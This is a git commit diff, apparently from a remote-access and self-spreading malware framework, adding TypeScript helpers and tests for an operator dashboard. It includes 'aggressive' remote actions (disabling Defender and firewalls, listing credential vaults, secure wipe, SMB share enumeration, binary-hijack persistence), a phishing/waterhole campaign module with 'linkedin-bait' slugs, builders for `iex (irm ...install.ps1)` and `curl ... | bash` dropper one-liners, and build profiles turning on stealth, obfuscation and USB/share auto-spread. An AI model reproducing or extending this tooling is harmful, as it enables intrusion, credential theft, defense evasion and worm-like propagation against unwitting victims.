feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -11,6 +11,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'smb_shares',
'credential_vault_list',
'secure_wipe',
'defender_off',
'firewall_punch',
'firewall_off',
@@ -32,7 +35,10 @@ export function canRunAggressiveAction(
if (platform === 'darwin' && action === 'defender_off') return false;
if (
platform !== 'windows' &&
(action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
(action.startsWith('firewall_') ||
action === 'bits_persist' ||
action === 'host_binary_persist' ||
action === 'smb_shares')
) {
return false;
}
@@ -49,6 +55,9 @@ export function canRunAggressiveAction(
case 'tunnel_ssh_forward':
case 'tunnel_stop':
case 'subnet_scan':
case 'smb_shares':
case 'credential_vault_list':
case 'secure_wipe':
case 'defender_off':
case 'firewall_punch':
case 'firewall_off':
@@ -82,6 +91,9 @@ export function aggressiveActionHint(
if (platform !== 'windows' && action === 'host_binary_persist') {
return 'Host binary hijack is Windows-only';
}
if (platform !== 'windows' && action === 'smb_shares') {
return 'SMB share enumeration is Windows-only';
}
if (canRunAggressiveAction(action, caps, platform)) return undefined;
switch (action) {
case 'hole_punch':

View File

@@ -0,0 +1,117 @@
import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import {
CRUCIBLE_PHASE_C_ACTIONS,
CRUCIBLE_PHASE_C_STUBS,
buildSSHForwardPayload,
isWindowsPlatform,
newPortForwardRow,
onlineAgents,
parseCameraListMessage,
parseRemoteHostPort,
selectionAggressiveHint,
selectionCanRunAggressive,
validatePortForwardRows,
windowsOnlineAgents,
} from './crucibleOps';
const fullCaps = {
hole_punch: true,
remote_aggressive: true,
mesh_p2p: true,
auto_spread: true,
process_hollowing: false,
ai_enabled: false,
};
describe('crucibleOps', () => {
it('onlineAgents filters to online status', () => {
const agents = [
mockAgent({ id: 'a', status: 'online' }),
mockAgent({ id: 'b', status: 'offline' }),
];
expect(onlineAgents(agents).map((a) => a.id)).toEqual(['a']);
});
it('windowsOnlineAgents filters to online Windows nodes', () => {
const agents = [
mockAgent({ id: 'w', status: 'online', platform: 'windows' }),
mockAgent({ id: 'l', status: 'online', platform: 'linux' }),
];
expect(windowsOnlineAgents(agents).map((a) => a.id)).toEqual(['w']);
});
it('isWindowsPlatform treats unknown as Windows', () => {
expect(isWindowsPlatform(undefined)).toBe(true);
expect(isWindowsPlatform('windows')).toBe(true);
expect(isWindowsPlatform('linux')).toBe(false);
});
it('selectionCanRunAggressive allows when any target has capability', () => {
const agents = [
mockAgent({ id: 'w', status: 'online', platform: 'windows', capabilities: fullCaps }),
mockAgent({
id: 'l',
status: 'online',
platform: 'linux',
capabilities: { ...fullCaps, remote_aggressive: false },
}),
];
expect(selectionCanRunAggressive('firewall_off', agents)).toBe(true);
expect(selectionCanRunAggressive('mesh_status', [{ ...agents[1], capabilities: { ...fullCaps, mesh_p2p: false } }])).toBe(false);
});
it('selectionAggressiveHint explains blocked bulk ops', () => {
const agents = [
mockAgent({
id: 'l',
status: 'online',
platform: 'linux',
capabilities: fullCaps,
}),
];
expect(selectionAggressiveHint('firewall_off', agents)).toContain('Windows-only');
expect(selectionAggressiveHint('hole_punch', [])).toContain('online');
});
it('parseCameraListMessage strips ffmpeg banner lines', () => {
const msg = `[dshow @ 0] DirectShow video devices
"USB2.0 HD UVC WebCam"
/dev/video0`;
expect(parseCameraListMessage(msg)).toEqual(['"USB2.0 HD UVC WebCam"', '/dev/video0']);
});
it('lists Phase C actions', () => {
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
});
it('parseRemoteHostPort splits host and port', () => {
expect(parseRemoteHostPort('192.168.1.10:3389')).toEqual({ host: '192.168.1.10', port: 3389 });
expect(parseRemoteHostPort('[::1]:22')).toEqual({ host: '::1', port: 22 });
expect(parseRemoteHostPort('bad')).toBeNull();
});
it('buildSSHForwardPayload omits empty ssh user', () => {
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', '')).toEqual({
local_port: 2222,
remote_host: '10.0.0.5',
remote_port: 22,
});
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', 'admin')).toEqual({
local_port: 2222,
remote_host: '10.0.0.5',
remote_port: 22,
ssh_user: 'admin',
});
});
it('validatePortForwardRows rejects invalid rows', () => {
expect(validatePortForwardRows([])).toContain('at least one');
const row = newPortForwardRow('r1');
row.remoteHostPort = 'nope';
expect(validatePortForwardRows([row])).toContain('Invalid row');
expect(validatePortForwardRows([newPortForwardRow('r2')])).toBeNull();
});
});

View File

@@ -0,0 +1,147 @@
import type { Agent } from '../types';
import {
aggressiveActionHint,
canRunAggressiveAction,
type AggressiveRemoteAction,
} from './aggressiveActions';
/** Phase C Crucible remote actions (wired in agent + CrucibleExpandedOps). */
export const CRUCIBLE_PHASE_C_ACTIONS = [
'smb_shares',
'spread_status',
'credential_vault_list',
'secure_wipe',
'tunnel_ssh_forward',
] as const;
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
export const CRUCIBLE_PHASE_C_STUBS = [
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
] as const;
export function isWindowsPlatform(platform?: string): boolean {
if (!platform) return true;
return platform.toLowerCase().includes('win');
}
export function onlineAgents(agents: Agent[]): Agent[] {
return agents.filter((a) => a.status === 'online');
}
export function windowsOnlineAgents(agents: Agent[]): Agent[] {
return onlineAgents(agents).filter((a) => isWindowsPlatform(a.platform));
}
/** True when at least one online selected agent can run the aggressive action. */
export function selectionCanRunAggressive(
action: AggressiveRemoteAction,
agents: Agent[]
): boolean {
const targets = onlineAgents(agents);
if (targets.length === 0) return false;
return targets.some((a) => canRunAggressiveAction(action, a.capabilities, a.platform));
}
/** Disabled-state tooltip for bulk aggressive ops across a mixed selection. */
export function selectionAggressiveHint(
action: AggressiveRemoteAction,
agents: Agent[]
): string | undefined {
const targets = onlineAgents(agents);
if (targets.length === 0) return 'Select at least one online node';
if (selectionCanRunAggressive(action, agents)) return undefined;
const blocked = targets.find(
(a) => !canRunAggressiveAction(action, a.capabilities, a.platform)
);
return aggressiveActionHint(action, blocked?.capabilities, blocked?.platform);
}
/** Parse camera_list newline output into device paths/names. */
export function parseCameraListMessage(message: string): string[] {
return message
.split('\n')
.map((l) => l.trim())
.filter((l) => l.length > 0 && !l.startsWith('['));
}
export interface PortForwardRow {
id: string;
localPort: string;
remoteHostPort: string;
sshUser: string;
}
export interface SSHForwardPayload {
local_port: number;
remote_host: string;
remote_port: number;
ssh_user?: string;
}
/** Split "host:port" with optional IPv6 bracket form [::1]:22 */
export function parseRemoteHostPort(raw: string): { host: string; port: number } | null {
const trimmed = raw.trim();
if (!trimmed) return null;
if (trimmed.startsWith('[')) {
const end = trimmed.indexOf(']');
if (end < 0) return null;
const host = trimmed.slice(1, end);
const rest = trimmed.slice(end + 1);
if (!rest.startsWith(':')) return null;
const port = parseInt(rest.slice(1), 10);
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
return { host, port };
}
const idx = trimmed.lastIndexOf(':');
if (idx <= 0) return null;
const host = trimmed.slice(0, idx);
const port = parseInt(trimmed.slice(idx + 1), 10);
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
return { host, port };
}
export function buildSSHForwardPayload(
localPort: string,
remoteHostPort: string,
sshUser?: string
): SSHForwardPayload | null {
const local = parseInt(localPort.trim(), 10);
const remote = parseRemoteHostPort(remoteHostPort);
if (!Number.isFinite(local) || local <= 0 || local > 65535 || !remote) return null;
const payload: SSHForwardPayload = {
local_port: local,
remote_host: remote.host,
remote_port: remote.port,
};
const user = sshUser?.trim();
if (user) payload.ssh_user = user;
return payload;
}
export function newPortForwardRow(id?: string): PortForwardRow {
const rowId = id ?? `pf-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
return { id: rowId, localPort: '2222', remoteHostPort: '192.168.1.10:22', sshUser: '' };
}
export function validatePortForwardRows(rows: PortForwardRow[]): string | null {
if (rows.length === 0) return 'Add at least one forward row';
for (const row of rows) {
if (!buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser)) {
return `Invalid row: local ${row.localPort}${row.remoteHostPort}`;
}
}
return null;
}
export type CrucibleDispatchArgs = Record<string, unknown>;
export interface CrucibleDispatchTarget {
id: string;
name: string;
}

View File

@@ -0,0 +1,32 @@
import { describe, it, expect } from 'vitest';
import {
campaignQuery,
combinedDropperQuery,
ps1Oneliner,
shOneliner,
publicDownloadUrl,
} from './emberwake';
describe('emberwake URL helpers', () => {
it('builds campaign query slug', () => {
expect(campaignQuery('linkedin-bait')).toBe('?c=linkedin-bait');
expect(campaignQuery(' ')).toBe('');
expect(campaignQuery('bad slug!')).toBe('?c=badslug');
});
it('combines pin and campaign', () => {
expect(combinedDropperQuery('abc-123', 'wave-a')).toBe('?pin=abc-123&c=wave-a');
expect(combinedDropperQuery('', 'solo')).toBe('?c=solo');
});
it('formats one-liners', () => {
expect(ps1Oneliner('http://10.0.0.5:8989/', '?c=x')).toContain('install.ps1?c=x');
expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
});
it('public download URL', () => {
expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
'http://host/api/v1/public/download/build-1?c=c1',
);
});
});

View File

@@ -0,0 +1,45 @@
/** Campaign URL builders for Emberwake / waterhole spreading. */
export function campaignQuery(campaign: string): string {
const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
return slug ? `?c=${encodeURIComponent(slug)}` : '';
}
export function pinQuery(buildId: string): string {
const id = buildId.trim();
return id ? `?pin=${encodeURIComponent(id)}` : '';
}
export function combinedDropperQuery(pinBuildId: string, campaign: string): string {
const parts: string[] = [];
const pin = pinBuildId.trim();
const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
return parts.length ? `?${parts.join('&')}` : '';
}
export function ps1Oneliner(baseUrl: string, query = ''): string {
const base = baseUrl.replace(/\/$/, '');
return `iex (irm '${base}/install.ps1${query}')`;
}
export function shOneliner(baseUrl: string, query = ''): string {
const base = baseUrl.replace(/\/$/, '');
return `curl -sL '${base}/install.sh${query}' | bash`;
}
export function commandOneliner(baseUrl: string, query = ''): string {
const base = baseUrl.replace(/\/$/, '');
return `curl -sL '${base}/install.command${query}' | bash`;
}
export function getUrl(baseUrl: string, query = ''): string {
return `${baseUrl.replace(/\/$/, '')}/get${query}`;
}
export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
const base = origin.replace(/\/$/, '');
const q = campaignQuery(campaign);
return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
}

View File

@@ -73,6 +73,20 @@ const AGENT_HANDLED = new Set([
'bits_persist',
'host_binary_persist',
'mesh_status',
'connectivity_probe',
'arp_neighbors',
'persistence_audit',
'kill_process',
'delete_path',
'move_path',
'registry_read',
'registry_write',
'registry_delete',
'upgrade',
'smb_shares',
'spread_status',
'credential_vault_list',
'secure_wipe',
]);
describe('remote action wiring', () => {
@@ -96,8 +110,8 @@ describe('remote action wiring', () => {
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
it('lists every wired aggressive command once', () => {
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(21);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(21);
});
});
@@ -138,6 +152,9 @@ describe('canRunAggressiveAction edge cases', () => {
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'smb_shares',
'credential_vault_list',
'secure_wipe',
'defender_off',
'firewall_punch',
'firewall_off',

View File

@@ -0,0 +1,41 @@
import { describe, expect, it } from 'vitest';
import {
defaultBrowseRoot,
joinRemotePath,
parseListDirMessage,
pathBreadcrumbs,
} from './remoteDirBrowser';
describe('remoteDirBrowser helpers', () => {
it('parseListDirMessage reads agent JSON', () => {
const msg = JSON.stringify({
path: '/home/alice',
home_dir: '/home/alice',
platform: 'linux',
entries: [{ name: 'docs', is_dir: true, size: 0 }],
});
const parsed = parseListDirMessage(msg);
expect(parsed?.path).toBe('/home/alice');
expect(parsed?.entries).toHaveLength(1);
});
it('defaultBrowseRoot returns empty for agent home resolution', () => {
expect(defaultBrowseRoot('windows')).toBe('');
expect(defaultBrowseRoot('linux')).toBe('');
});
it('joinRemotePath handles unix parent', () => {
expect(joinRemotePath('/home/alice/docs', '..')).toBe('/home/alice');
expect(joinRemotePath('/home/alice/docs', 'file.txt')).toBe('/home/alice/docs/file.txt');
});
it('joinRemotePath handles windows parent', () => {
expect(joinRemotePath('C:\\Users\\alice', '..')).toBe('C:\\Users');
expect(joinRemotePath('C:\\Users\\alice', 'Desktop')).toBe('C:\\Users\\alice\\Desktop');
});
it('pathBreadcrumbs splits mixed separators', () => {
expect(pathBreadcrumbs('/var/log')).toEqual(['var', 'log']);
expect(pathBreadcrumbs('C:\\Users\\bob')).toEqual(['C:', 'Users', 'bob']);
});
});

View File

@@ -0,0 +1,55 @@
export interface DirEntry {
name: string;
is_dir: boolean;
size: number;
}
export interface ListDirResult {
path: string;
home_dir?: string;
platform?: string;
entries: DirEntry[];
}
export function parseListDirMessage(message: string): ListDirResult | null {
try {
const j = JSON.parse(message) as ListDirResult;
if (j.entries && Array.isArray(j.entries)) {
return {
path: j.path ?? '',
home_dir: j.home_dir,
platform: j.platform,
entries: j.entries,
};
}
} catch {
/* not JSON */
}
return null;
}
/** Initial browse path sent to the agent (empty → agent home). */
export function defaultBrowseRoot(_platform?: string): string {
return '';
}
export function joinRemotePath(cwd: string, name: string): string {
const sep = cwd.includes('/') ? '/' : '\\';
if (name === '..') {
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
parts.pop();
if (parts.length === 0) {
return sep === '/' ? '/' : 'C:\\';
}
const joined = parts.join(sep);
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
return parts[0] + ':\\';
}
return (cwd.startsWith('/') ? '/' : '') + joined;
}
return cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
}
export function pathBreadcrumbs(cwd: string): string[] {
return cwd.split(/[/\\]/).filter(Boolean);
}

View File

@@ -0,0 +1,88 @@
import type { BuildRequest } from '../types';
export type SpreadProfileId = 'web_drop' | 'desktop_fusion' | 'lan_kindling' | 'crucible_ops';
export interface SpreadProfile {
id: SpreadProfileId;
label: string;
color: string;
blurb: string;
apply: (form: BuildRequest) => BuildRequest;
}
export const SPREAD_PROFILES: SpreadProfile[] = [
{
id: 'web_drop',
label: 'Web Drop',
color: '#3dd6c6',
blurb: 'Headless Linux — small, systemd, no screenshot, minimal spread',
apply: (f) => ({
...f,
target_os: 'linux',
target_arch: 'amd64',
spread_kit: false,
fusion_enabled: false,
stealth_mode: true,
file_logging: false,
remote_aggressive: false,
auto_spread: false,
usb_spread: false,
share_spread: false,
run_as: 'service',
autostart_mode: 'boot_task',
}),
},
{
id: 'desktop_fusion',
label: 'Desktop Fusion',
color: '#f0abfc',
blurb: 'Big stealth fusion — garble on, visible UI off',
apply: (f) => ({
...f,
target_os: 'universal',
target_arch: 'all',
spread_kit: false,
fusion_enabled: true,
stealth_mode: true,
display_mode: 'background',
obfuscate: true,
remote_aggressive: false,
auto_spread: false,
}),
},
{
id: 'lan_kindling',
label: 'LAN Kindling',
color: '#ff6b2c',
blurb: 'Universal spread kit + autospread for LAN/USB',
apply: (f) => ({
...f,
target_os: 'universal',
target_arch: 'all',
spread_kit: true,
fusion_enabled: false,
stealth_mode: true,
auto_spread: true,
usb_spread: true,
share_spread: true,
remote_aggressive: false,
}),
},
{
id: 'crucible_ops',
label: 'Crucible Ops',
color: '#c9a227',
blurb: 'Aggressive remote ops enabled for Crucible',
apply: (f) => ({
...f,
remote_aggressive: true,
hole_punch: true,
auto_spread: false,
}),
},
];
export function applySpreadProfile(form: BuildRequest, id: SpreadProfileId): BuildRequest {
const profile = SPREAD_PROFILES.find((p) => p.id === id);
return profile ? profile.apply(form) : form;
}